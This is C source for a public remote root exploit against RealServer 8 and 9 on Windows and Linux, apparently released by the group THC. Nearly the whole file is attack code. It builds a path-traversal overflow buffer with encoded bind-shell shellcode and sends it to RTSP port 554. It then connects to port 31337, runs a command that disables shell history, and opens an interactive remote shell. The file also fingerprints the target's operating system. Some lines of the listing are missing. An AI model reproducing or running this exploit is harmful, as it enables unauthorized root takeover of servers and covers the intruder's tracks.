1 /*****************************************************************************/
\r
2 /* THCREALbad 0.5 - Wind0wZ & Linux remote root exploit */
\r
3 /* Exploit by: Johnny Cyberpunk (jcyberpunk@thehackerschoice.com) */
\r
4 /* THC PUBLIC SOURCE MATERIALS */
\r
6 /* This exploit was an 0day from some time, but as CANVAS leaked and kiddies */
\r
7 /* exploited this bug like hell, realnetworks got info on that bug and posted*/
\r
8 /* a workaround on their site. So THC decided to release this one to the */
\r
9 /* public now. Fuck u kiddies ! BURST IN HELL ! */
\r
11 /* Also try the testing mode before exploitation of this bug, what OS is */
\r
12 /* running on the remote site, to know what type of shellcode to use. */
\r
14 /* Greetings go to Dave Aitel of Immunitysec who found that bug. */
\r
16 /* compile with MS Visual C++ : cl THCREALbad.c */
\r
18 /* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak, */
\r
19 /* scut, stealth, zip, zilvio, LSD and Dave Aitel */
\r
20 /*****************************************************************************/
\r
25 #include <winsock2.h>
\r
29 #define OSTESTMODE 2
\r
31 #pragma comment(lib, "ws2_32.lib")
\r
33 #define CMD "unset HISTFILE;uname -a;id;\n"
\r
35 char ostestmode[] = "OPTIONS / RTSP/1.0\r\n\r\n";
\r
37 char attackbuffer1[] =
\r
39 "../../../../../../../../../../../../../../../../../../../../"
\r
40 "../../../../../../../../../../../../../../../../../../../../"
\r
41 "../../../../../../../../../../../../../../../../../../../../"
\r
42 "../../../../../../../../../../../../../../../../../../../../"
\r
43 "../../../../../../../../../../../../../../../../../../../../"
\r
44 "../../../../../../../../../../../../../../../../../../../../"
\r
45 "../../../../../../../../../../../../../../../../../../../../"
\r
46 "../../../../../../../../../../../../../../../../../../../../"
\r
47 "../../../../../../../../../../../../../../../../../../../../"
\r
48 "../../../../../../../../../../../../../../../../../../../../"
\r
49 "../../../../../../../../../../../../../../../../../../../../"
\r
50 "../../../../../../../../../../../../../../../../../../../../"
\r
51 "../../../../../../../../../../../../../../../../../../../../"
\r
52 "../../../../../../../../../../../../../../../../../../../../"
\r
53 "../../../../../../../../../../../../../../../../../../../../"
\r
54 "../../../../../../../../../../../../../../../../../../../../"
\r
55 "../../../../../../../../../../../../../../../../../../../../"
\r
56 "../../../../../../../../../../../../../../../../../../../../"
\r
57 "../../../../../../../../../../../../../../../../../../../../"
\r
58 "../../../../../../../../../../../../../../../../../../../../"
\r
59 "../../../../../../../../../../../../../../../../../../../../"
\r
60 "../../../../../../../../../../../../../../../../../../../../"
\r
61 "../../../../../../../../../../../../../../../../../../../../"
\r
62 "../../../../../../../../../../../../../../../../../../../../"
\r
63 "../../../../../../../../../../../../../../../../../../../../"
\r
64 "../../../../../../../../../../../../../../../../../../../../";
\r
66 char attackbuffer2[] =
\r
67 ".smi RTSP/1.0\r\n\r\n";
\r
70 "\xcc\xcc\x90\x8b\xfd\x83\xc7\x37\x33\xc9\xb2\x90\x66\x81\xc1"
\r
71 "\x02\x02\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7";
\r
74 "\x32\xc3\x32\xd8\x32\xca\x52\xb2\x05\x52\xb2\x02\x52\xb2\x01"
\r
75 "\x52\x8a\xe2\xb0\x02\xb3\x65\xce\x83\x8a\xc2\x32\xc3\x32\xd8"
\r
76 "\x53\x53\x53\x65\x6b\x79\x6a\xb0\x01\x65\x50\x8a\xe1\xb0\x13"
\r
77 "\x50\xb0\x01\x51\x52\x8a\xc9\x8a\xe2\xb3\x65\xce\x83\x32\xd8"
\r
78 "\x3a\xc0\x77\x06\x32\xc3\x43\xce\x83\x32\xc3\x53\x51\x8a\xe2"
\r
79 "\xb0\x07\xb3\x65\xce\x83\x8a\xd4\x32\xc3\x32\xd8\x32\xca\xb0"
\r
80 "\x12\xb2\x02\xb3\x33\xce\x83\x32\xc3\x32\xd8\x53\x53\x54\x8a"
\r
81 "\xe2\xb0\x06\xb3\x65\xce\x83\x8a\xc5\x32\xc3\x32\xd8\xb3\x01"
\r
82 "\xce\x83\x3a\xc0\x76\x43\x32\xc3\x8a\xf8\xb3\x05\xce\x83\x32"
\r
83 "\xc3\x32\xca\x8a\xf0\xb3\x3d\xfd\xc3\xce\x83\x32\xc3\x42\xb3"
\r
84 "\x3d\xfd\xc3\xce\x83\x32\xc3\x42\xb3\x3d\xfd\xc3\xce\x83\x32"
\r
85 "\xc3\x53\x6b\x2c\x2c\x70\x6b\x6b\x2c\x61\x6a\x6d\x8a\xe0\x88"
\r
86 "\x57\x27\x0b\x53\x50\x8a\xe2\xb3\x08\xce\x83\x32\xc3\x43\xce"
\r
87 "\x83\x32\xc3\x8a\xf0\xb3\x05\xce\x83\xe8\x9a";
\r
90 "\x7b\xb3\xea\xf9\x92\x95\xfc\xc9\x68\x8d\x0c\x4e\x1c\x41\xdc"
\r
91 "\xe0\x44\x93\x60\xb7\xb0\xb0\xa0\x98\xc7\xc3\xa2\xcf\xa3\xa2"
\r
92 "\xbe\xd4\xdc\xdc\x91\x7b\x95\x78\x69\x6f\x6f\x6f\xcd\x13\x7d"
\r
93 "\xba\xfa\xa0\xc9\xf4\x1b\x91\x1b\xd0\x9c\x1b\xe0\x8c\x3d\x1b"
\r
94 "\xe8\x98\x1d\xcf\xac\x1b\x8b\x91\x6b\x1b\xcb\xe8\x91\x6b\x1b"
\r
95 "\xdb\x8c\x91\x69\x1b\xc3\xb4\x91\x6a\xc3\xc1\xc2\x1b\xcb\xb0"
\r
96 "\x91\x6b\xa1\x59\xd1\xa1\x50\x09\x1b\xa4\x1b\x91\x6e\x3c\xa1"
\r
97 "\x52\x41\x72\x14\x50\xe5\x67\x9f\x26\xd5\x95\x1d\xd4\xd5\x94"
\r
98 "\xf6\xa9\x80\xe5\x71\xf6\xa1\x80\xca\xc8\xce\xc6\xc0\xc2\xbb"
\r
99 "\xde\x80\xd1\x9f\x27\x9c\xda\x1b\x94\x18\x91\x68\x9f\x26\xdd"
\r
100 "\x95\x19\xd4\x1d\x48\x6e\xdd\x95\xe5\x2e\x6e\xdd\x94\xe4\xb1"
\r
101 "\x6e\xdd\xb2\x1d\xcd\x88\xc3\x6f\x40\x19\x57\xfa\x94\xc8\x18"
\r
102 "\xd5\x95\x10\xd5\xe7\x9a\x1d\xcd\xe4\x10\xfb\xb6\x84\x79\xe8"
\r
103 "\x6f\x6f\x6f\x19\x5e\xa1\x4b\xc3\xc3\xc3\xc3\xc6\xd6\xc6\x6f"
\r
104 "\x40\x07\xc5\xc8\xf6\x19\xa0\xfa\x80\xc5\xc7\x6f\xc5\x44\xde"
\r
105 "\xc6\xc7\x6f\xc5\x5c\xc3\xc5\xc7\x6f\xc5\x40\x07\x1d\xd5\x18"
\r
106 "\xc0\x6f\xc5\x74\xc5\xc5\x6f\xc5\x78\x1d\xd4\x95\x9c\x04\xc3"
\r
107 "\xf8\xbe\xf5\xe8\xf5\xf8\xcc\xf3\xfd\xf4\x04\xa1\x42\x1d\xd5"
\r
108 "\x5c\x04\xc7\xc7\xc7\xc3\xc3\x6e\x56\x91\x62\xc2\x04\x1d\xd5"
\r
109 "\xe8\xc0\x1d\xd5\x18\xc0\x21\x98\xc3\xc3\xfa\x80\x6e\x5e\xc2"
\r
110 "\xc3\xc3\xc3\xc5\x6f\xc5\x7c\xfa\x6f\x6f\xc5\x70";
\r
113 void shell(int sock);
\r
115 int main(int argc, char *argv[])
\r
117 unsigned short realport=554;
\r
118 unsigned int sock,addr,os,rc;
\r
119 unsigned char *finalbuffer,*osbuf;
\r
120 struct sockaddr_in mytcp;
\r
121 struct hostent * hp;
\r
124 printf("\nTHCREALbad v0.5 - Wind0wZ & Linux remote root sploit for Realservers 8+9\n");
\r
125 printf("by Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)\n");
\r
127 if(argc<3 || argc>3)
\r
130 finalbuffer = malloc(2000);
\r
131 memset(finalbuffer,0,2000);
\r
133 strcpy(finalbuffer,attackbuffer1);
\r
134 os = (unsigned short)atoi(argv[2]);
\r
146 printf("\nillegal OS value!\n");
\r
150 strcat(finalbuffer,decoder);
\r
153 strcat(finalbuffer,w32shell);
\r
155 strcat(finalbuffer,linuxshell);
\r
157 strcat(finalbuffer,attackbuffer2);
\r
159 if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
\r
161 printf("WSAStartup failed !\n");
\r
165 hp = gethostbyname(argv[1]);
\r
168 addr = inet_addr(argv[1]);
\r
170 if ((!hp) && (addr == INADDR_NONE) )
\r
172 printf("Unable to resolve %s\n",argv[1]);
\r
176 sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
\r
179 printf("socket() error...\n");
\r
184 memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);
\r
186 mytcp.sin_addr.s_addr = addr;
\r
189 mytcp.sin_family = hp->h_addrtype;
\r
191 mytcp.sin_family = AF_INET;
\r
193 mytcp.sin_port=htons(realport);
\r
195 rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));
\r
200 send(sock,ostestmode,sizeof(ostestmode),0);
\r
202 osbuf = malloc(2000);
\r
203 memset(osbuf,0,2000);
\r
204 recv(sock,osbuf,2000,0);
\r
206 for(; *osbuf != '\0';)
\r
208 if((isascii(*osbuf) != 0) && (isprint(*osbuf) != 0))
\r
210 if(*osbuf == '\x53' && *(osbuf + 1) == '\x65' && *(osbuf + 2) == '\x72' && *(osbuf + 3) == '\x76' && *(osbuf + 4) == '\x65' && *(osbuf + 5) == '\x72')
\r
213 printf("\nDetected OS: ");
\r
214 while(*osbuf != '\n')
\r
215 printf("%c", *osbuf++);
\r
226 send(sock,finalbuffer,2000,0);
\r
227 printf("\nexploit send .... sleeping a while ....\n\n");
\r
232 printf("can't connect to realserver port!\n");
\r
240 sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
\r
241 mytcp.sin_port = htons(31337);
\r
242 rc = connect(sock, (struct sockaddr *)&mytcp, sizeof(mytcp));
\r
245 printf("can't connect to port 31337 ;( maybe firewalled ...\n");
\r
249 send(sock,CMD,sizeof(CMD),0);
\r
257 printf("\nUsage: <Host> <OS>\n");
\r
258 printf("0 = Wind0wZ\n");
\r
259 printf("1 = Linux\n");
\r
260 printf("2 = OS Test Mode\n");
\r
264 void shell(int sock)
\r
268 struct timeval time;
\r
269 unsigned long ul[2];
\r
279 l = select (0, (fd_set *)&ul, NULL, NULL, &time);
\r
282 l = recv (sock, buf, sizeof (buf), 0);
\r
285 printf ("bye bye...\n");
\r
288 l = write (1, buf, l);
\r
291 printf ("bye bye...\n");
\r
297 l = read (0, buf, sizeof (buf));
\r
300 printf("bye bye...\n");
\r
303 l = send(sock, buf, l, 0);
\r
306 printf("bye bye...\n");
\r